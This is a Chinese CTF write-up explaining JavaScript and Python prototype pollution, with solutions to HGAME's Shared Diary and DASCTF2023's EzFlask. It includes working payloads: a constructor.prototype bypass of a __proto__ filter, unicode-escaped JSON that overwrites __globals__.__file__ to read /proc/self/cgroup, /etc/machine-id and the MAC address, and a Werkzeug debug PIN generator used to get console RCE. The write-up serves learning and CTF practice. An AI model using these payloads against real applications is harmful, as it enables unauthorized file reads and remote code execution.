Python原型链污染

简介

这一期主要是自己在打DASCTF2023七月暑期挑战赛遗憾爆0之后,在复现的时候想搞清楚这一类的攻击方式及解题技巧

类似于Javascript中的原型链污染一样,这种攻击方式可以在Python中实现对类属性值的污染。需要注意的是,由于Python中的安全设定和部分特殊实行类型限定,并不是所有的属性都是可以被污染的,不过可以肯定,污染只对类属性起作用,对于类方法是无效的。

不过由于Python中变量空间的设置,实际上还能做到全局变量中的属性实现污染。

那就索性把Javascript的原型链污染也一块说了好了,免得再出一期Javascript的原型链污染,主要是懒(bushi

那就先来说一下原型链污染是什么

原型链污染

一般的原型链污染我们通常指的是针对于Javascript运行时的注入攻击。通过原型链污染,攻击者可能控制对象属性的默认值。这允许攻击者篡改应用程序的逻辑,还可能导致拒绝服务,或者在极端情况下,远程执行代码。

比较出名的一个原型链污染漏洞,是在2019年初,在
Snyk的安全研究人员透露出流行的JavaScript库—Lodash的严重的漏洞,这允许黑客攻击多个web应用程序。

漏洞细节:https://security.snyk.io/vuln/SNYK-JS-LODASH-450202

这里就也可以看一下这篇文章 => JavaScript原型链污染学习记录

什么是原型链

那这就需要了解Javascript对象的概述以及对象的创建

Javascript中,没一个实例对象都有一个私有属性(__proto__)指向它的构造函数的原型对象(prototype),而该原型对象又有一个自己的原型对象,就像套娃一样。知道原型对象为object,他是几乎所有的Javascript中的对象的祖宗。所以他是没有原型的,硬要说有的话那就是null。到这为止就是整条原型链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Person{
name = "Z3r0"
age = Infinity
constructor(){
this.gender = "未知"
}
sayHello(){
console.log("Hello,我是",this.name);
}
}
class Animal{
}
class Cat extends Animal{
}

const p = new Person()
const p1 = new Person()
console.log(p.__proto__.__proto__.__proto__);
console.log(Object.getPrototypeOf(p) == p.__proto__);
console.log(p.__proto__ === p1.__proto__)
//cat --> Animal --> object --> Object原型 -->null
const cat = new Cat()
console.log(cat.__proto__.__proto__.__proto__);

继承

实例对象和原型对象是有继承关系的。当试图访问一个对象的属性时,它会先在该对象中搜索,如果该对象没有此属性,就会在该对象的原型中去搜索。以此类推,如果直到object原型对象都没有这个属性,就会返回undefined。

可以通过下面这个例子来说说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var ad = function(){  
this.a = 1;
this.b = 2;
}
var we = new ad(); //从一个函数里创建一个对象we
ad.prototype.b = 3;
ad.prototype.c = 4;//在ad函数的原型对象中定义属性
console.log(we.a);//we对象中有a属性,为一。

console.log(we.b);//we对象也有b属性,为2.
//原型中也有b属性,但是不会被访问到。也想当于重写。
console.log(we.c);//we对象没有c属性,所以在原型中找,为4
console.log(we.d);//d不是we对象的属性,继续看,d也不是
//we.[[Prototype]]中的属性,继续,d也不是we.[[Prototype]].[[Prototype]]
//中的属性,到此结束,返回undefined

然后我再给出一个例子,去理解为什么输出会这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Animal{
constructor(name){
this.name = name
}
sayHello(){
console.log("动物在叫~")
}
}
class Dog extends Animal{
sayHello(){
console.log("汪汪汪");
}
}
class Cat extends Animal{
constructor(name, age){
super(name)
this.age = age
}
sayHello(){
super.sayHello()
console.log("喵喵喵");
}
}
const dog = new Dog("旺财")
const cat = new Cat("Tom",3)
dog.sayHello() // 汪汪汪
console.log(dog);
cat.sayHello() // 动物在叫~ 喵喵喵
console.log(cat);

原理

我们要先知道prototype__proto__有什么关系,我们来以定义构造函数的方式来定义一个类

1
2
3
4
function XiLitter(){
this.age = 19;
}
var a = new XiLitter();

说白了,就是XiLitter.prototype等价于a.__proto__。就是一个对象的__proto__属性指向所在的类的prototype属性。

如果我们能够控制改变原型对象的属性。比如对于语句object[a][b]=c 我们可以将a设置为__proto__,然后在原型中设置一个属性b,并赋值于c,那么所有继承该原型对象的实例对象都会在本身不拥有b属性的情况下拥有b属性,且值为c

1
2
3
4
5
ob1 = {"a":123,"b":456};//创建一个对象ob1
ob1.__proto__.ab = "123456";//添加原型属性ab并赋值123456
console.log(ob1.ab); //123456
ob2 = {"a":1234,"b":5678};//创建一个对象ob2
console.log(ob2.ab); //123456

利用

只有符合以下条件才可以进行原型链污染攻击

  1. 对象递归合并
  2. 按路径定义属性
  3. 对象克隆

常用污染函数

常见的污染方式有merge()函数,clone()内核,还有copy()函数,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
};
}

body=JSON.parse('{"__proto__":{"__proto__":{"query":"Ricky is admin!"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query);

user.query 被赋值为 Ricky is admin!, 说明了我们污染成功, 使得user 去它的 __proto____proto__ 里找 query 的变量

1
2
{ isVIP: false, isAdmin: false }
Ricky is admin!

在JSON解析的情况下, __proto__ 会被认为是一个真正的”键名”, 而不代表”原型”, 所以在遍历 body 的时候会存在这个键

应用

拿之前HGAME 2023 Week4Shared Diary来举个🌰

这道题先是一个原型链污染然后是一个ejs ssti模板注入

这道题的关键就在源码中的merge函数

1
2
3
4
5
6
7
8
9
10
11
12
13
function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

还有login接口中的一段

1
2
3
4
5
6
7
8
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
return res.render("login", {message: "Don't pollution my shared diary!"})
}
req.session.data = data

这里的merge函数就造成了原型链污染,我们的目标是污染对象的role属性,使其成为admin,在了解原型链污染漏洞之后,就能自然的想到

{"__proto__": {"role": "admin"},"username":"D3ic1de","password":"123"}

但是这里merge函数会对__proto__属性做检测,这里可以使用constructor.prototype来绕过,在lodashCVE-2019-10744中的payload也用的类似的绕过技巧,lodash也是因为只检测了__proto__属性,在lodash.merge中就有这种类似的方法可以绕过。

1
2
3
4
5
POST /login HTTP/1.1
Content-Type: application/json
Host: localhost:8888

{"constructor": {"prototype": {"role":"admin"}},"username":"ek1ng","password":"123"}

这样构造就可以成功污染原型链,拿到session.role为admin的session。

这⾥需要注意污染后再之后去正常的登陆请求,都会因为merge函数抛出异常(并不是检测到__proto__属性,⽽是这样写法的merge函数会在原型链被污染后⽆法正常merge,会抛出异常,可以打个断点调试⼀下)⽽被认为是检测到原型链污染。

Python原型链污染(正片)

可以去看看这篇文章 => Python原型链污染变体

Python 中的原型链污染(Prototype Pollution)是指通过修改对象原型链中的属性,对程序的行为产生意外影响或利用漏洞进行攻击的一种技术。
在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等

污染条件

就像Javascript的原型链污染一样,同样需要一个数值合并函数将特定值污染到类的属性中

1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):  #src为原字典,dst为目标字典
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'): #键值对字典形式
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k)) #递归到字典最后一层
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #class形式
merge(v, getattr(dst, k)) #递归到最终的父类
else:
setattr(dst, k, v)

污染示例

Python中的类会继承父类中的属性,而类中声明(并不是实例中声明)的属性是唯一的,所以我们的目标就是这些在多个类、示例中仍然指向唯一的属性,如:类中自定义属性以及__开头的内置属性等

先以自定义属性为🌰:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class father:
secret = "admin"

class son_a(father):
pass

class son_b(father):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "D3ic1de"
}
}
}

print(son_a.secret)
#admin
print(instance.secret)
#admin
merge(payload, instance)
print(son_a.secret)
#D3ic1de
print(instance.secret)
#D3ic1de

对上面的例子简单分析一下

执行merge函数后,因为instanceclass类型,并且含有__class__默认属性,并且v也为字典格式,所以会执行这条判断语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
elif hasattr(dst, k) and type(v) == dict
merge(v, getattr(dst, k))

'''
src={
"__class__" : {
"__base__" : {
"secret" : "D3ic1de"
}
}
}
dst=instance()
'''

接着进行第一次递归,执行语句merge(v, getattr(dst, k)),此时合并目标通过__class__属性换成了instance对象的所属的类(son_b),然后再次通过一下判断语句进行第二次递归

1
2
3
4
5
6
7
8
9
10
11
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))

'''
src={
"__base__" : {
"secret" : "D3ic1de"
}
}
dst=son_b()
'''

第二次递归之后,执行语句merge(v, getattr(dst, k)),此时合并目标通过__base__属性换成了son_b类的所属的直接父类(father),然后进行第三次递归

1
2
3
4
5
6
7
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))

'''
src={"secret" : "D3ic1de"}
dst=father()
'''

第三次递归时,type(v) == dictFALSE,递归结束,此时v=“world”,不再是字典类型,然后执行语句

1
setattr(dst, k, v)

重置father类中的secret属性的值为D3ic1de,到此简单的链污染已经完成

再来个修改内置属性的🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class father:
pass

class son_a(father):
pass

class son_b(father):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"__str__" : "Polluted ~"
}
}
}

print(father.__str__)
#<slot wrapper '__str__' of 'object' objects>
merge(payload, instance)
print(father.__str__)
#Polluted ~

无法污染的object

正如一开始所述,并不是所有的类的属性都可以被污染,如Object的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

payload = {
"__class__" : {
"__str__" : "Polluted ~"
}
}

merge(payload, object)
#TypeError: can't set attributes of built-in/extension type 'object'

上面给的文章已经讲得很详细了,我这里就不再说了,那么我们就通过一个题目来进行实践。

题目复现

DASCTF2023七月暑期挑战赛

EzFlask

刚开始看到这道题以为是Flask模板输入,但死活找不到注入点然后看了源码,感觉就是一个简单的注册登录系统,比赛结束之后看了师傅们的wp,是python原型链污染。

源码中有一段merge函数

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

并在/register路由进行了调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

然后在/路由中还有一个__file__读取

1
2
3
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

然后dirsearch扫描出来一个console路由,这个是控制台,但是需要PIN

那么很明显了,就是通过修改__file__读取文件,计算PIN码进行RCE

关于如何计算PIN码可以看看这篇文章:Flask框架实现debug模式下计算pin码

因为在源码中有一段

1
2
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

所以我们需要对传入的恶意payload进行unicode编码

我们先构造未编码前的payload

1
2
3
4
5
6
7
8
9
{
"username":"1",
"password":"1",
"__init__":{
"__globals__":{
"__file__":"/proc/self/cgroup"
}
}
}

unicode编码后的:

1
2
3
4
5
6
7
8
9
{
"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/proc/self/cgroup"
}
}
}

python原型链污染.png

这里我们就污染成功了

python原型链污染1.png

然后我们取cgroup的值为

1
docker-aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf.scope

这样构造拿到uuid

1
2
3
4
5
6
7
8
9
{
"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/sys/class/net/eth0/address"
}
}
}

记得把uuid转为十进制

machine-id

1
2
3
4
5
6
7
8
9
{
"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/etc/machine-id"
}
}
}

最后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import hashlib
from itertools import chain


probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]


# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
'266374425460457', # str(uuid.getnode()), /sys/class/net/eth0/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
#'96cec10d3d9307792745ec3b85c89620 867ab5d2-4e57-4335-811b-2943c662e936 aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf'
'96cec10d3d9307792745ec3b85c89620docker-aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf.scope'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")


cookie_name = f"__wzd{h.hexdigest()[:20]}"


# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]


# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

python原型链污染2.png

访问/console路由,输入PIN码,好的拿到控制台的权限,接下来就是rce

总算拿到flag了

python原型链污染3.png